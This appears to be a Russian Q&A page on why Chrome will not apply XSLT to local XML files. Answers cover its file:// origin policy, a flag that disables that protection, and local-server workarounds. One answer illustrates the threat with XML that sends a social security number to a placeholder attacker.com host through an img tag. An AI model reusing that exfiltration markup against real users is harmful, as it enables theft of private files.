Можно ли сделать Chrome для выполнения XSL-преобразования в локальном файле? - PullRequest
77 голосов
/ 30 сентября 2010

Я изучал xslt и начал тестирование с примерами на w3schools.

Однако, когда я сохраняю xml и xsl в файлах и пытаюсь открыть их локально, chrome не выполняет преобразование xsl.Он просто показывает пустую страницу.

Я добавил тег <?xml-stylesheet type="text/xsl" href="style.xsl"> в XML-документ, и Firefox отображает его так, как он должен выглядеть.Кроме того, если я просматриваю файлы через веб-сервер, Chrome отображает файл так, как он должен выглядеть.

Неужели в Chrome возникла проблема с поиском информации таблицы стилей, когда ссылка локальная?Изменение href на file:///C:/xsl/style.xsl не имело никакого значения.

Обновление: Похоже, это побочный эффект политики безопасности , которая не обрабатывает файл: /// * как тот же источник. В консоли появляется следующая ошибка:

Небезопасная попытка загрузить файл URL: /// C: /xsl-rpg/style.xsl из фреймас файлом URL: /// C: /xsl-rpg/data.xml.Домены, протоколы и порты должны совпадать.

Ответы [ 5 ]

64 голосов
/ 01 октября 2010

Краткий ответ: "Нет, используйте один из разнообразных браузеров там" .

Причина, по которой это не работает, связана с проблемой безопасности, которую Chrome рассмотрел неоднозначно [1] [2] [3 .

В связи с вышеупомянутыми проблемами пользователи попросили более четкое сообщение об ошибке (поскольку домены, протоколы и порты фактически совпадают) или, по крайней мере, отображение XML без стилизации. Разработчики Chrome проигнорировали эти запросы.

52 голосов
/ 14 апреля 2013

Вы можете сделать это локально, используя флаги командной строки Chrome.

Специальный флаг: --allow-file-access-from-files

В OS X: из Terminal.app запустить /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

В Windows: из командной строки запустите %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Примечание: вам, вероятно, придется выйти из Chrome, если он в данный момент работает, иначе Ch

9 голосов
/ 20 ноября 2015

Если вы хотите придерживаться OP, ответ «Нет» (как указали другие), но один из способов решения этой проблемы - запустить простой веб-сервер и открывать файлы через http в chrome.Если у вас установлен Python 2.x, вы можете запустить веб-сервер, набрав:

python -m SimpleHTTPServer

или в python 3.x:

python3 -m http.server

, а затем открыть файл с помощью http://localhost:8000/yourfile.xmlв хроме.Надеюсь, вы просто хотите закончить свою работу, и совсем не обязательно открывать файл, используя file://

3 голосов
/ 27 июня 2018

Мой обходной путь для просмотра xml в соответствии с xsl-файлом

Предположим, у нас есть файл some_file.xml с заголовками:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Загружаем файл https://some-site.com/Common.xsl и помещаем его рядом с some_file.xml
  2. Изменить часть нашего заголовка с href="https://some-site.com/Common.xsl" на href="http://localhost:8001/Common.xsl"
  3. Запустить в каталоге с нашими файлами - python3 -m http.server 8001
  4. Открыть в любом браузере http://localhost:8001/some_file.xml
2 голосов
/ 23 декабря 2015

Потребовалось немного расшифровать на странице Chrome Bug - они очень заинтересованы в том, чтобы не объяснить, в чем проблема, и почему они решили сломать всех, а не сломать всех.

Предположим, у меня есть XMLфайл - где-то - на моем жестком диске, например:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

Ивредоносному объекту - каким-то образом - удалось удалить вредоносный XML-файл на моем компьютере, например:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Представьте себе TrojanVirusWorm.xml содержит инструкцию по обработке таблицы стилей ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Затем злоумышленник поручает моему браузеруперейдите к локально сохраненному файлу trojanVirusWorm.xml.

Очевидно, что XML-файл может читать содержимое файла XSD (вместо преобразования в файл XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Я не понимаю, как XML-файл может читать таблицу стилей файл.Но команда Chrome уверяет нас, что это опасность, и что ее нельзя решить.

Любой другой браузер решил ее.Они решили это , потому что это не проблема .

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...